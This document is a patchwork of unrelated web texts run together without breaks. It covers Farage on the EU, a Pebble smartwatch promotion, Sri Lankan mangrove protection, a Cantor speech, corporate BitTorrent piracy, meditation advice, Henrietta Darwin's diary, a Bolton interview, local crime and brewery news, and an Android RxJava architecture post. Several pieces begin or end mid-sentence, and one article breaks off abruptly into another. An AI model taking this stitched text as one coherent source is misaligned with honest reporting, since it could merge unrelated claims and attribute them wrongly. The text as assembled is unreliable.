Mr Farage said Britons’ expectations have been raised, because they have been told that a better deal is coming and if a better deal isn’t hammered out they might question the point of remaining EU members.
He dismisses any suggestions that Britain faces problems if it had to leave the EU.
“What is the cost of Britain leaving the EU? That Britain leaves the EU and Mercedes stops selling its cars in London? We’re now the EU’s biggest exporters in the world. Freedom of movement? I want to end that. Freedom of movement has damaged the British health service and education system and driven down the wages of British workers. It's benefitted the big land owners, the multi-nationals. If you’re rich you’ve benefitted. I want to have the Australian points system that we can choose whoever comes to Britain,” he charged.Pebble is dealing with the threat of Apple's upcoming Apple Watch by making jokes about the enthusiasm Apple employees have shown for the device. On its website, Pebble has a graphic of a gleeful Pebble, which says "Chill." Above that, are the words "Breathe, Jony. It's just a watch."Further down, Pebble advertises the seven day battery life of its smart watches. "Why measure battery life in days? 'Cuz we can." This is a reference to the poor battery life seen in other smart watches, including Samsung's Galaxy Gear and the Moto 360, both of which last less than a day before requiring a charge.Though Apple has not announced battery life of the Apple Watch, rumors have suggested that it will last for about a day, requiring nightly charging. It is likely, however, that the company is continuing to make tweaks to improve battery as much as it can, which is why no specific information on battery has been released.Pebble also touts its customizability and its relatively low cost while poking a bit of fun at some of Apple's Apple Watch statements. "Overpriced trophy watch wasn't on our to-do list," reads the site. "Pebble is made by real people, for real people keeping it real," it says, wrapping up with the following statement: "Just to recap, we made a watch. We didn't solve global warming."In addition to highlighting the capabilities of the product with sly references to the Apple Watch, Pebble has also announced plans to cut the prices of both the Pebble and the Pebble Steel. The standard Pebble watch now retails for $99, while the more recently introduced Pebble Steel retails for $199. Both options are quite a bit more affordable than the Apple Watch, which is said to start at a price of $349.Pebble has also introduced new health and fitness capabilities for Pebble devices. Following an update, Pebble users are now able to track activity non-stop and monitor their sleep habits. Additionally, Pebble watches will be available in more retail locations, including Sam's Club, Fry's Electronics, and more.Felted Strawberry Bolero / Shrug accented with yummy Beaded Blossoming Strawberry Corsage, it’s elegant and sassy!
On the 5th photo is the matching purse (not included in this listing).
On the last two photos my other wedding stuff.
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The global IT robotics automation market is expected to grow at a CAGR of 60% between 2016 and 2022, according to a new report from Research and Markets.
Leading drivers of the growth in automation include cost advantages, improved efficiency and improved scalability.
North America currently has the largest market share of IT robotics automation market, trailed by Europe.
Dive Insight:
Bots and robot process automation (RPA) are already automating many front office functions and helping businesses connect the dots, particularly when it comes to customer data. They can also allow workers to focus on more interesting and stimulating activities rather than repetitive tasks, so it’s not surprising such technologies are poised for big growth.
The big question is whether RPA will be used to replace workers, or just push them into more challenging roles, which they must also be willing to accept.A young UBC student has been identified as the man who fell to his death from one of Stanley Park's most popular viewpoints.
The B.C. Coroners Service says Mai David Huy Huynh, 22, was with a group of friends at Prospect Point, the highest point in the park, in the late afternoon Saturday.
At some point, his friends noticed he was missing.
Shortly after 6 p.m. PT, his body was found 70 metres below, on the seawall.
David Huynh, 22, died after falling 70 metres from Prospect Point in Stanley Park on Saturday. (Facebook)
Huynh, who was from Abbotsford, was a commerce student enrolled in the Sauder School of Business at the University of British Columbia.
A statement posted to the UBC Commerce Undergraduate Society's Facebook page describes him as an "incredible young man" known for his generous, optimistic and outgoing nature.
"David’s passion and positive outlook impacted and inspired countless peers," it says.
The B.C. Coroners Service and the Vancouver Police Department are investigating his death.When I walked into Matt Branton’s downtown office in early March to talk about his Bitcoin-based content micropayments system Coinlock, he was shopping for plumbing equipment. At least that’s what it seemed like – he was on some obscure web store browsing valves, levers, tubing, t-joints, and whatnot (if you can guess, I know nothing about plumbing). This seemed odd for a Bitcoin developer.
As it turns out, Branton was getting ready for Tampa’s Startup Bus 2014, which was to leave for South By Southwest just a few days after our meeting. He was browsing for tubes and valves because he was going to try and build something on the Startup Bus. He was trying to build something amazing. He was trying to build something glorious.
He was trying to build an automated beer tap that accepted Bitcoin.
The idea was to build a gadget that would allow SXSW attendees to pay an unattended machine with bitcoin, and have frosty brew dispensed automatically. The machine would have to interface with the blockchain through a wi-fi signal and direct payments to a pre-selected address. Partiers would get a beer, and a merchant would get their money, all without any active human intervention.
Well, you know the saying – always aim for the moon. Even if you miss, you’ll land among the stars. The saying may be weirdly astronomically inaccurate (shouldn’t it be the reverse?), but it proved true here. Branton set the beer tap idea aside, even though it was sure to be a hit among the sun-baked SXSW technorati, because, he said, “the complexities of dispensing liquid beer at 70 miles per hour seemed like a recipe for failure.”
Instead, he and partner Jeff Kinsey focused on the underlying element that would make a beer dispenser and other applications work – a physical bitcoin point of sale unit. The design sensibility is pure back-of-the-bus: Coincollectr’s prototype lives in a Tupperware container, jazzed up with glitter. Inside is a small unit with a wi-fi connection that monitors the blockchain for payments to a designated address, along with a green LED light.
Unlike a traditional point of sale system, Coincollectr is actually a payment monitor rather than a payment processor. Vendors using the system would simply display a Bitcoin address, probably in the form of a QR code, and a designated amount. When a payment meeting the minimum threshold is posted to a designated address, Coincollectr flashes its green light.
Branton cites some typical advantages of bitcoin payments: low costs and easy access. If mass produced, Coincollectr would be far less expensive than the tablets and smartphones currently used to process most bitcoin transactions (though also, it would seem, a bit more limited if it were not connected to an interface).
But the main advantages come when you take a system like Coincollectr out of the store and into the wild. Coincollectr’s light-indicator system is already enough for a functioning Bitcoin tip jar or parking meter, but the further possibilities are huge. Coincollectr, or something like it, will be the core of the so-called “smart property” system that cryptocurrency will enable.
Smart property means a network of flexible payment systems and smart contracts mechanically embedded in physical goods, allowing consumers to buy, rent, or share items without needing a human to monitor their usage. A Coincollectr unit, connected to some sort of physical output, would allow a Bitcoin payment to open a rental locker door, say, or start a rental car. The smart property concept was first advanced (in a paper viewable here) by none other than Nick Szabo, occasionally suspected of being Satoshi Nakamoto.
The first thought someone familiar with Bitcoin is likely to have when thinking about a bitcoin POS system is the transaction time problem. But the Coincollectr prototype uses zero-confirmation transactions, which are already in use by reputable servicers like BitPay.
Branton says the cost of parts for the Coincollectr prototype, including wi-fi connectivity, was under $50. Achieving smart property functions (such as dispensing beer) would in most cases require a good deal more hardware and design work, but with the bitcoin guts in place, engineers will be able to take applications in any number of directions.
Unfortunately, Coincollectr in its current incarnation didn’t advance past the semifinal round of the Startup Bus competition, most likely because the far-ranging potential applications for smart property are still a bit abstract for a lot of people – even techies – to wrap their heads around. But Branton submitted the project to the Techstars accelerator, and is currently considering a Kickstarter to help him bring the project to full production.
Branton admits that the current incarnation of Coincollectr “looks like it was built at a truck stop” – which it was, during a breakdown on the Startup Bus’s way from Tampa to San Antonio. “There’s a statement about humble beginnings in there somewhere,” says Branton. As excited as some of us might be, bitcoin is still early in its development, a time when a lot of great new things are going to come in rough-edged packages. Automated point of sale systems like Coincollectr are inevitably going to be a major part of cryptocurrency’s impact on our day-to-day financial lives. What it looks like right now is not nearly as important as the power of the idea that it’s making into reality.National plan puts women at centre of strategy to save trees from being felled for firewood by providing microloans to start business
Sri Lanka to become the first nation in the world to protect all its mangroves
More than half the world’s mangroves have been lost over the last century but all of those surviving in Sri Lanka, one of their most important havens, are now to be protected in an unprecedented operation.
The organiser of the project, the biggest of its kind, see the role of women as the key to its success.
Mangroves are an important protection against climate change as they sequester up to five times more carbon than other forests, area for area. They protect coastlines against flooding, including tsunamis, and provide vital habitat for marine animals, especially crabs, shrimp and juvenile fish.
In an initiative designed to prevent any more being cut down in Sri Lanka and to boost some of the poorest communities in the world, women will be offered small loans and training to start businesses.
In return for the microloans, 15,000 women – including thousands of widows from the civil war - will be expected to stop using the trees for firewood and to guard the forests near their homes.
Conservationists behind the scheme, which is backed by the Sri Lankan government, believe the focus on the women will bring huge benefits to living standards in coastal communities.
Moreover, they are convinced it is the most effective way to get the coastal communities to care for their mangroves instead of hacking them down for firewood.
“We have discovered that if you want a project to succeed, have the women of the community run it,” said Anuradha Wickramasinghe, chairman of the Sri Lankan NGO Sudeesa. “Other conservation organisations have found the same thing.
“It’s in our culture. The mother is the central. Even in my own family, my mother and my wife, it’s the same.
“Maybe we [the men] are doing other things but the women build up the family. They want to build up the family economy. The fishermen go to sea and bring back the catch. They are getting the money. That money is controlled by the women.”
The £2.2m initiative announced on Tuesday is designed to save mangroves covering 21,782 acres (8,815 ha) in 48 lagoon systems and involves women from 1,500 communities. A further 9,600 acres (3,885 ha) will be replanted.
Women involved in the scheme will protect mangroves by ensuring no one in their communities, or from outside, cuts down the trees. If persuasion does not work they will be able to alert the authorities who are providing legislative support.
Sri Lanka will be the first nation in the world to protect all its mangroves. The scheme is a partnership between the US-based conservation organisation Seacology, the Sri Lankan government and Sudeesa.On Halloween 2011, House Majority Leader Eric Cantor arrived on the campus of the University of Michigan to deliver a speech that was snowed out in February. When he arrived, roughly 200 protesters were there to greet him.
A large banner reading “Cantor works for the 1%, Who will work for the 99%?” was surrounded by gravestones representing the death of the Middle Class and many of social achievements that Republicans are now trying to do away with.
Protesters chanted and held their signs for the many media folks there along with campus drivers and pedestrians.
Before the speech, “Eric Cantor” delivered at eulogy for the Middle Class. Toward the end, he pounds a final nail into the coffin of the American Dream and the Middle Class in America.
A “mourner” during the Funeral for the Middle Class
A ticket was required to attend Cantor’s speech. Those that did not receive one were able to watch the speech on a livestream in another building.
Cantor’s speech was full of typical Republican talking points. In a nod to the 1%, Cantor created a straw man saying that there are many who want to “redistribute their wealth” and that this is the wrong thing to do. What we need, he said, is for the 1% to be generous to the rest of us.
Their are politicians and “others” who want to demonize people who have earned success in certain sectors of our society. They claim that these people have now made enough and haven’t paid their fair share. But pitting Americans against one another supplace [sic] the aspirational spirit of our people and fade the American dream. I believe that the most successful among us are positioned to use their talents to help grow our economy and give everyone a hand up the ladder and the dignity of a job. We should encourage them to extend their creativity and generosity to help us build the community infrastructure that provides a hand up and a fair shot to those less fortunate like that little nine-year old girl in the inner city. These groups of innovators are the leaders of companies that create life-saving drugs for our sick parents and children. They take risks like Henry Ford did to create companies that employ our families, our neighbors and our friends. They are also the social entrepreneurs who support the charter schools, the opportunity scholarships, the private job training programs, the community centers and other elements of community life that provide stability and constructive values to children and their families who struggle. They are trailblazers like Steve Jobs, a man who started with an idea in his garage and ended up providing iPads and iPhones to millions and changed the world. Job building and community building are what successful people can do. Through his example, you can see that America needs more than just a jobs plan. We need a “Steve Jobs Plan”. In a Steve Jobs Plan, whether you’re a Republican or a Democrat doesn’t matter. In a Steve Jobs Plan, no American, regardless of their condition, believes that they are unable to rise up. And in a Steve Jobs Plan, we don’t believe that those that succeed somehow take away from those still working their way up the ladder. Why? Because those that earn their success not only create good jobs and services that make our lives better, but they give back and help everyone move just a little bit further up the ladder and everybody can win. So instead of talking about a fair share and spending time trying to push those at the top down, elected leaders in Washington should ensure that everyone has a fair shot and the opportunity to earn success up the ladder. The goal shouldn’t be for everyone to meet in the middle of the ladder. We should want all people to be moving up. And no one should be pulled down. How do we do that? It cannot simply be about wealth redistribution. You don’t just take from the guy at the top to give to the guy at the bottom and expect our problems to be resolved. […] We must ensure that the solution to income disparity is increased income mobility. We must give everyone a chance to move up. Stability plus mobility equals agility. And in an agile economy and in an agile society, people are climbing and succeeding. So income mobility is the key…our efforts should be geared to figuring out how to celebrate income mobility.
During Cantor’s speech, those protesters that were unable to get a ticket continued their raucous protest and were clearly audible to those in attendance.
Protesters during Eric Cantor’s speech
After his speech, over a dozen protesters stood up, removed their jackets to reveal shirts with various pro-99% slogans on them and then, one by one, turned their backs to Cantor and remained this way during his entire 30-minute question and answer session.
During the question and answer session, Cantor was asked if he felt the people in the Occupy Wall Street movement had any valid concerns. He repeated the word “Occupy” with an audible sneer then went on to say he understood their frustration but thought they should be directing their ire toward the White House and the Obama administration’s policies.
As I drove home, I passed the Occupy Ann Arbor encampment. It is clear that Eric Cantor does not have any idea whatsoever what these people are protesting.
Occupy Ann ArborIn recent weeks the anti-piracy antics of Microsoft have made the news on a few occasions. From censoring The Pirate Bay to funding BitTorrent poisoning startups, the software giant is determined to attack piracy head-on. But perhaps the company should make a start by educating its own employees first. In Microsoft's offices around the world many company employees are using BitTorrent to download and share pirated movies.
YouHaveDownloaded is a treasure trove of incriminating data on alleged BitTorrent pirates all across the world.
The site, launched late last year, exposes what people behind an IP-address have downloaded using BitTorrent. This data was gathered from public BitTorrent trackers, and the founders released it to show how much information can be found on BitTorrent users who don’t hide their IP-address.
The site’s founders inform TorrentFreak that since this mission has now been accomplished, they have stopped adding new info to the site. However, existing data is still online and that allows us to “out” a group of corporate BitTorrent pirates once more.
In recent weeks Microsoft has taken a strong position against copyright infringers. They censored Pirate Bay links in Windows Live Messenger, funded a startup that aims to kill BitTorrent traffic, and a few days ago it was revealed that they are the most active sender of DMCA takedown notices to Google.
Clearly, Microsoft is anti piracy. But would they also prevent their employees from using Microsoft office connections to download pirated films through BitTorrent? Let’s find out.
The methodology is easy. Look up a range of IP-addresses assigned to Microsoft and enter those into the search form on YouHaveDownloaded one by one. While we expected that it might take a while |
Being non-judgmental is the key to stillness. Be okay with whatever thoughts you have, and true inner peace will come naturally.
3. Separate analysis from action.
I love to hike. When I get to the foot of the mountain, I don’t really think ahead. I focus only on the individual steps that lead me to my destination. With each step I take, in each passing moment, I admire the scenery and I savor the smell of fresh air. It’s a great way to become present.
The reason I can do this is because I know where I want to go, how to get there, and the purpose of my hike beforehand. This way, I clear my mind of all analytical thinking—about the past and future—and I can get into the present more easily.
Whenever you analyze, you are always thinking into the past and future. This takes you away from the beauty of the present moment.
Of course, challenges and unexpected things happen. But as you deal with them with a defined purpose, your thinking stays within the present rather than thinking ahead, worrying, and giving yourself unwanted stress.
Separate analytical thinking from action. Plan beforehand. Know exactly what to do before you start. Have a clear purpose and defined steps you would take.
4. Focus on what you are doing.
Do you meditate?
When you meditate, you need a focus. It could be your breath or a mantra. This restrains your mind from wandering. Like the Buddha said, your mind is a dancing monkey. It is always looking for ways to escape from the present. On the other hand, a focus is like an oak tree that grounds you in the present.
To stop the monkey from breaking away, you tie a rubber band between the two. Whenever the monkey goes too far, the band snaps him back to the trunk of the tree.
How do you do this in your daily life? Unlike meditation, many of our daily tasks are habitual. Things like using the bathroom, taking a shower, eating, and walking are very hard to focus on.
This is because your brain automates these tasks to save energy. This isn’t a bad thing, but now that your mind is freed up, it begins to babble non-sense. It starts wandering to the past and future.
Luckily, you can use these tricks to increase focus and stay present:
Mentally remind yourself of your present action.
Use self-talk to direct your focus back to the present moment. For example, when washing your hands, repeat in your head, “I am washing my hands. I am washing my hands. I am washing my hands.”
Focus on your senses.
Direct your attention back into your body and out of your head. For example, when taking a shower, observe how water trickles down the surface of your skin. Inhale the fragrance of the soap. Enjoy the warmth. Listen to the sounds of flowing water.
Do things differently.
Make things more challenging. A classic technique all Zen masters use is to do everything in slow motion. This may sound easy, but it’s not. You will have a hard time doing things the way you want to. As a result, you are forced to act consciously instead of acting on autopilot.
5. Return to focus whenever you wander away from it.
Let’s go back to the oak tree-monkey analogy.
At the beginning of your practice, your focus may be weak. Instead of an oak tree, it is more like a sprout; a monkey can easily uproot it.
But don’t give up. Plant another tree. Bring your awareness back to your focus whenever your mind wanders away from it.
Yes, that tree will probably be uprooted too. But each tree you plant will have its roots deeper and its trunk stronger than the time before. Likewise, your focus becomes stronger each time you return to the present moment.
In this sense, mental noise is actually a good thing. It is an opportunity for you to become aware and strengthen your presence.
Presence is One Simple Choice
More than likely, all this is hard for you right now. All those concepts, techniques, and teachings you learned are complicating things so much that they don’t help you anymore. Worse, they make you even more stressed.
If you really want a quiet mind, you have to throw all these concepts away, at least for the time being. Instead, start making everything in your life a practice. Learn not to judge yourself. Learn to be okay with whatever happens, and relax.
You may not be able to do this at first, but it will happen. And when it happens, you will feel a click in your brain. On the outside, you will still be you. But on the inside, you will be overflowing with tranquility.
This is not because you have silenced your mind. Not because you have banished all your negative thoughts. Not because you have mastered a lot of techniques.
It is because you are okay with whatever happens. You are okay with negative thoughts. You are okay with a noisy mind. You are okay with interruptions and distractions. And when you are okay with whatever happens, you don’t hang on to them. In other words, you learn to let things go.
Until then? Change the way you see your thoughts, and change the way you deal with them. All it takes is a little commitment and practice. This is your first step. One simple choice.
And soon, you will have the inner peace you have always dreamed of.
About Blon Lee Blon Lee is a Chinese Buddhist who helps people transform suffering into joy with Buddhist wisdom. Download his free guide: Buddhist Meditation Ultimate Guide: A Step-By-Step Guide to Finding True Inner Peace.It seems the election of Donald Trump could spell great news for American blockchain startups and cryptocurrency users. President-elect Trump has added to his cabinet an active and vocal supporter of cryptocurrencies and blockchain which means that there will be at least one powerful voice in the US government that will resist further efforts to legislate the technology into oblivion.
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Trump picked Congressman Mick Mulvaney, Tea Party Republican, as his administration’s Director of Office of Management and Budget. He is considered a staunch fiscal conservative that wishes to drastically limit the federal government’s spending on social programs.
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Just this September he was among the founders of the bipartisan Blockchain Caucus. Commonly called the Bitcoin Caucus by American media, it is meant to help congressmen stay up to speed on cryptocurrency and blockchain technologies, and develop policies that advance them.
“Blockchain technology has the potential to revolutionize the financial services industry, the U.S. economy and the delivery of government services, and I am proud to be involved with this initiative,” Mulvaney said in a statement back then.
Mulvaney is also a supporter of Coin Center, a non-profit research and advocacy center focused on public policy issues facing cryptocurrency technologies, which raised over $1 million earlier this year.
“For the past two years we have worked with Representatives Mulvaney and Polis to educate their colleagues through briefings and other events, and the new Congressional Blockchain Caucus will be a wonderful new platform to continue these efforts,” Jerry Brito, executive director of Coin Center said at the time. “Their forward-thinking leadership on blockchain technology in Congress is unmatched.”COLUMBIA TOWNSHIP, Ohio - Fifty West Brewing Company is cooking up a $1.5 million expansion that will initially increase its brewing capacity to 7,000 barrels annually, a five-fold increase over current levels.
Owner Bobby Slattery said the Columbia Twp. brewery is trying to keep up with surging demand for its products, including Penny Pilsner, Blaketoberfest lager and Punch You In The EyePA. The expansion will allow the brewery to ramp up production to more than 30,000 barrels per year in the future.
“We’re going to get to all these bars and restaurants that have been calling us for it,” Slattery said. “The way it works now, we send out a list on Sunday night to all the vendors. By Monday at 2 o’clock, if you haven’t ordered, you’re not getting beer that week.”
Cincinnati’s craft brewing industry is on the upswing, with multiple breweries expanding their production and distribution capacities and the region’s largest grocery chain devoting more space to local brews.
RELATED: See which Cincy brewer won big at the Great American Beer Festival
MORE: Local man's homebrew nets him big prize from Sam Adams
Rhinegeist, for example, announced a $10 million expansion in May that enables its production capacity to reach 50,000 barrels. MadTree Brewing is boosting capacity to 19,000 barrels with an expansion announced last June.
“The demand is coming from everywhere,” said Todd Wiggs, beer and wine manager at Jungle Jim’s International Market. “It’s not just the beer geeks but this locavore movement that’s pervasive across beer, wine and food. It’s huge right now.”
Wiggs has 40 beers on tap at Jungle Jim’s and he likes to have two of those taps flowing with Fifty West beer.
“They’re creating a category of beers that are interesting, unique and off the beaten path,” he said. “Our customers can’t get enough.”
He thinks Slattery could stoke additional demand by canning its better beers, like One Way Street, California Common and Eleanor, a “Belgo-American” blonde ale.
“If they were to release in package, I would buy boatloads more,” Wiggs said.
Slattery said packaging is an option in the future, but for now he wants satisfy growing demand without losing Fifty West’s small-batch approach to brewing beer.
“We’re making the conscious decision to stay draft-only for the time being,” he said. “Everybody wants us to go into package, but if we do that we feel like we can’t produce enough. We’d kind of be in this weird space where we produce enough to do package but fall short on the draft side. So we decided, 'Let’s just do what got us where we are.' We’re going to brew really great beers.”
This Fifty West rendering shows how the new brew house will fit into Hahana Beach site
The expansion will relocate brewery operations across the street from the former Heritage Restaurant site on U.S. 50. That will enable kitchen improvements and a larger restaurant operation, while the brewery becomes an anchor for recreational developments along the Little Miami Scenic River Trail.
As WCPO reported last month, the Slattery family is funding a $26,000 extension of the bike trail so it links to Mariemont Crossing, a cluster of Wooster Pike businesses that offer sand volleyball courts and rental canoes, kayaks and bikes.
“This is going to be a unique opportunity to create events around different activities,” he said.
At the same time, the new brew house will be expandable to the west. Ultimately, Slattery thinks the site is big enough to accommodate production if up to 32,000 barrels annually, more than enough to satisfy a canning operation and experiment with small-batch beers.
COMPLETE COVERAGE: See what's brewing in the Tri-State
SOCIAL: You can take part in the conversation at our #9beer Facebook page too!Henrietta Darwin. Credit: Darwin Correspondence Project A small, lockable leather diary - kept in the vast archives of Cambridge University Library - has led to a reassessment of one of the key relationships in Charles Darwins life.
The Darwin Correspondence Project (www.darwinproject.ac.uk), with the permission of Darwins family, is making public for the first time the short, intense and hugely revealing personal journal of Darwins daughter Henrietta.
Although many members of Darwins family helped edit his work over the years, it was probably Henrietta upon whom Darwin most relied. Indeed, she was a key editor of The Descent of Man and Selection in Relation to Sex, published in 1871.
In a rare glimpse into the intellectual life of the women in Darwins circle, Henrietta reflects in her diary on a wide-ranging debate with one of her cousins, Frances Julia Wedgwood (known to the family as Snow), on free will, good and evil, and the possibility of eternal life.
Both women demonstrate a striking sophistication of thought in their differing assessment of the implications for religious thinking of Darwins Development Theory, but although Henriettas arguments are reminiscent of Darwins own discussion of religious belief in his correspondence and other writings, her journal reveals a thoughtful woman reasoning her way to a humanistic position that is very much her own.
The diary, published today for the first time as an appendix to The Correspondence of Charles Darwin, Volume 19, was written over the period March to July 1871, the year of 28-year-old Henriettas sudden marriage to a man she had known for less than three months: it introduces a confident, intelligent, reflective and passionate young woman.
Dr. Alison Pearn, Associate Director of the Darwin Correspondence Project, said: To anyone who has only met her as the overly anxious hypochondriac aunt in Gwen Raverats Period Piece, this Henrietta is unrecognizable.
1871 was also the year in which Henriettas father published his most enduringly controversial work The Descent of Man and Selection in Relation to Sex. Taken together with Darwins letters from the period, the diary dramatically overturns previous perceptions of her character and role.
Often dismissed as a conservative or even a negative influence on her fathers work, driven by a desire for respectability to acts of censorship, Henrietta emerges instead as a free-thinker. She was sceptical of the contagious emotion of evangelical missions, and unable to reconcile the idea of a personal, benevolent God either with the concept of free will or with the suffering and wastefulness of the natural world.
One extract reads: How can she (Snow) shake off the bonds of reason reason tells us plainly that each life is not ordered for its own good If we cannot know goodness how can we recognise in which part of our nature God is revealed This view seems to cast what few convictions I have to the winds.
However, Henrietta did not only ponder the religious ramifications of her beliefs through the journal; the extracts published today also include heartfelt entries concerning her blossoming love life.
In June 1871 Henrietta met Richard Buckley Litchfield, a barrister and lecturer in music at the London Working Mens College. They were married in the parish church in her parents village of Downe, Kent, on 31 August.
Dr. Pearn said: The intimate and deeply reflective journal entries from July, which hint at originally unrequited passion, cover the period of their courtship. Reading at times like teenage romantic fiction, with all the agonies of uncertainty and longing, it also dissects Henriettas reasons for choosing to be married in churcha decision she did not reach lightly and her sadness at leaving her parents.
Another extract (July 4, 1871) reads: A beautiful day rainy gleams all over the field making it look like the paradise he called it. I am glad it is fine. I want to welcome him if he comes as I think he comes I think he must care it cant be only that he thinks I should be a nice sort of person to marry.
Meanwhile, Henriettas entry for July 9, 1871, underlines how she agonised over whether to marry in church or a registry office.
It reads: I want to think why I should like to be married in a church. I should feel a registry office very incomplete I should not be content at the supreme moment of my life without some mark of its solemnity some outward and visible sign of the inward and spiritual grace.
Can I vow to love honor & obey The two last, yes. The first I think so. Is it love to think about him day & night when I wonder what he thinks on every conceivable subject when I feel my day made happy & bright by one short letter. I want him to take me in his arms & say I shall never leave him. I long for him to strike the match which is to kindle me. The fire is laid but I cant set it alight.
Added Dr. Pearn: Weve been able to look more closely at Henriettas life as part of a larger research project on Darwin and Gender and Im very pleased we have this chance to rehabilitate her. Her contribution to Darwins work, in particular on religion, has been seen as purely negative editing out rather than editing in any constructive sense. Now we can see her as her father saw her, as a dear coadjutor & fellow-labourer, and as a lively member of an intellectually stimulating household.
Explore further: Across 160 years, Darwin speaks: Letter sheds light on murky part of the naturalist's lifeFormer U.N. Ambassador John Bolton discussed the potential designation of the Muslim Brotherhood as a terrorist organization on Thursday’s Breitbart News Daily with SiriusXM host Alex Marlow.
Noting that Iran’s Revolutionary Guards Corps may also receive such a designation, Bolton said that “those would be two excellent steps forward.”
“You can also see already, in the Washington Post and other mainstream media this morning, the effort by the bureaucracy to push back on that – arguments that if you designate the Muslim Brotherhood, you’ll stimulate extremism in the Muslim world,” he said. “It’s a typical example of seizing on something that could be used as a pretext and acting like it’s an underlying cause.”
“The fact is, the Brotherhood is a front for terrorism,” he argued. “A number of Arab majority-Muslim countries, like Egypt and Saudi Arabia and the United Arab Emirates, have already designated it as a terrorist organization. I’ve had Muslim leaders from the Middle East say to me, ‘Are you people blind to what’s going on right in front of you and the role that the Brotherhood performs, really on an international basis?’”
“As for the Iranian Revolutionary Guards Corps, not only is Iran itself the central banker of international terrorism, but the Guards are the source of much of the arming, training, and equipping of terrorist groups around the world. They obviously control the Iranian nuclear weapons program. Not only are they key to protecting the Ayatollah’s regime; they’re also big businessmen. So designating the Guards would have a significant impact on Iran, and I think help contribute to make it very clear that what National Security Adviser Michael Flynn said a few days ago – that Iran was ‘on notice’ that the Obama nuclear deal was in deep trouble. That would be a very palpable way of showing just how much trouble it’s in,” he said.
Bolton was not surprised that the IRGC was under consideration for a terrorist designation in addition to the Brotherhood.
“It’s very consistent with what Trump said during the campaign about his opposition to terrorism, his opposition to the Iran nuclear deal,” he said. “There’s been legislation pending. I think Ted Cruz introduced a bill that would have designated the Revolutionary Guards Corps a terrorist organization. I think there would be very broad support for it in Congress.”
“It shows, really, why the Iran nuclear deal was not sustainable from the outset, for reasons having nothing to do with the fact it didn’t address the nuclear program; it gave Iran loopholes to drive trucks through. The fact is Iran, even to this day, even under Obama, is still designated by the United States as a state sponsor of terrorism. To me, that means their word on anything like nuclear weapons, that could be given ultimately to terrorist groups, simply can’t be taken as having any meaning,” said Bolton.
“Not only is Iran itself a state sponsor of terrorism; it is a terrorist and deserves to be treated as such,” he declared.
John Bolton is a senior fellow at the American Enterprise Institute and heads his own political action committee, BoltonPAC.
Breitbart News Daily airs on SiriusXM Patriot 125 weekdays from 6:00 a.m. to 9:00 a.m. Eastern.
LISTEN:The bicyclist was not seriously injured during the incident
File photo.
LOVELAND — Two men attempted to rob a 20-year-old man around 5 p.m. Tuesday while he was riding his bike on North Wilson Avenue just south of West Eighth Street.
Loveland police Sgt. Mike Halloran said two men and two women were in a mid-2000 silver Chevrolet Impala when they drove past the bicyclist and began heckling him.
The bicyclist reported to police the Impala continued to drive southbound on North Wilson Avenue and did not stop, initially.
However, as the 20-year-old man approached the entrance of the Loveland Recreation Trail, Halloran said, the bicyclist once again saw the Imapala.
"... The car U-turned and drove up to him," Halloran said. "One of them threw a McDonald's cup at him. They came in at a high rate of speed and cut him off."
Halloran said two men jumped out of the car and attempted to punch the bicyclist, but he was able to avoid the attack. He got back on his bicycle to get away.
As he began to pedal, he noticed one of the men pick up a rock.
"He thinks (the rock) knocked him out and when he opened his eyes there was a lady standing over him," Halloran said.
The woman was not involved in the attempted-robbery.
The bicyclist reported the two men tried to take his backpack and bicycle from him before he fled.
The bicyclist did not know the assailants. The 20-year-old man suffered bruises and a lump on his head.
He described one assailant as a man with a smaller build and dark hair. He was wearing a white sleeveless tee shirt and had tattoos on both of his arms.
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The second man was short, stalky and had blonde hair. He was wearing camouflage-printed shorts and a black shirt.
The second assailant had tattoos on both of his arms and his shoulders and is believed to be about 18 to 24 years old.
The bicyclist described the women in the car as being 17 to 21 years old.
Anybody with information about this incident is asked to call officer Doug Savage at 962-2500 ext. 1166.
Dana Rieck: 970-635-3630, rieckd@reporter-herald.com or twitter.com/DanaRieckRHMVVM + RxJava is a great formula for an app architecture. At upday we recognised this and used it in our app, making it scalable and maintainable. Despite this, we’ve had to learn a few lessons the hard way.
In this blog post, I’ll be sharing two of these learnings using the actual specific scenarios that inspired them. As a result, I’ll be drilling right down into the details of the code. Now, if you’re a little short on time, here are the two take-ways:
Expose states instead of events. Everything should go through the view model.
If you’re ready to learn more about the “how and why”, let’s go!
Expose states and not events
The core feature of upday is to show news to the user in a way that is easy to read and fluid. With this specification the ViewPager seemed a good choice, we could present the news in form of cards one after the other. More specifically we need to implement the following behaviors:
Scroll to a certain position. Replace/update the elements in the ViewPager. Replace/update the elements in the ViewPager AND scroll to a certain position.
Reading those requirements it seems very natural to have an Rx stream with the position and a different Rx stream with the set of cards. All we need to do is to expose these two streams in the view model so the Fragment can subscribe to them and issue the received events to the adapter and/or ViewPager.
So this is the plan: do the processing of the position and the data set separately in background threads inside the view model, expose these streams and subscribe to them in the Fragment, switch to the main thread only to receive the events and modify the views. In theory this should work, we are separating business logic from framework related logic pretty well, we are making the Fragment very dumb so we can unit test most of the logic via the view model. We are also doing all the processing in background threads, only using the main thread when is necessary. What could go wrong?
public class NewsFragment extends Fragment {
private NewsViewModel mViewModel ;
private ViewPagerAdapter mAdapter ;
private ViewPager mViewPager ;
private final CompositeSubscription mSubscription = new CompositeSubscription ();
// Set up fragment (onCreate, etc.)
@Override
public void onResume () {
super. onResume ();
mSubscription. add ( subscribeToPositionChanges ());
mSubscription. add ( subscribeToCardChanges ());
}
private Subscription subscribeToPositionChanges () {
return mViewModel. getPositionStream ()
. observeOn ( AndroidSchedulers. mainThread ())
. subscribe ( mViewPager: : setCurrentItem,
this :: handleError );
}
private Subscription subscribeToCardChanges () {
return mViewModel. getSetOfCardsStream ()
. observeOn ( AndroidSchedulers. mainThread ())
. subscribe ( mAdapter: : update,
this :: handleError );
}
@Override
public void onPause () {
mSubscription. clear ();
super. onPause ();
}
}
We did exactly this and started receiving bug reports indicating a wrong end state in the ViewPager. Those types of bugs usually have the feared characteristic of not being 100% reproducible. We had to face the brutal reality: we had race conditions, but why? We have a neat architecture using MVVM, everything is unit tested and we use RxJava to send events.
The best way to explain what was happening is with an example. So imagine that we initially have a data set with 5 items in the ViewPager and the actual position is 3.
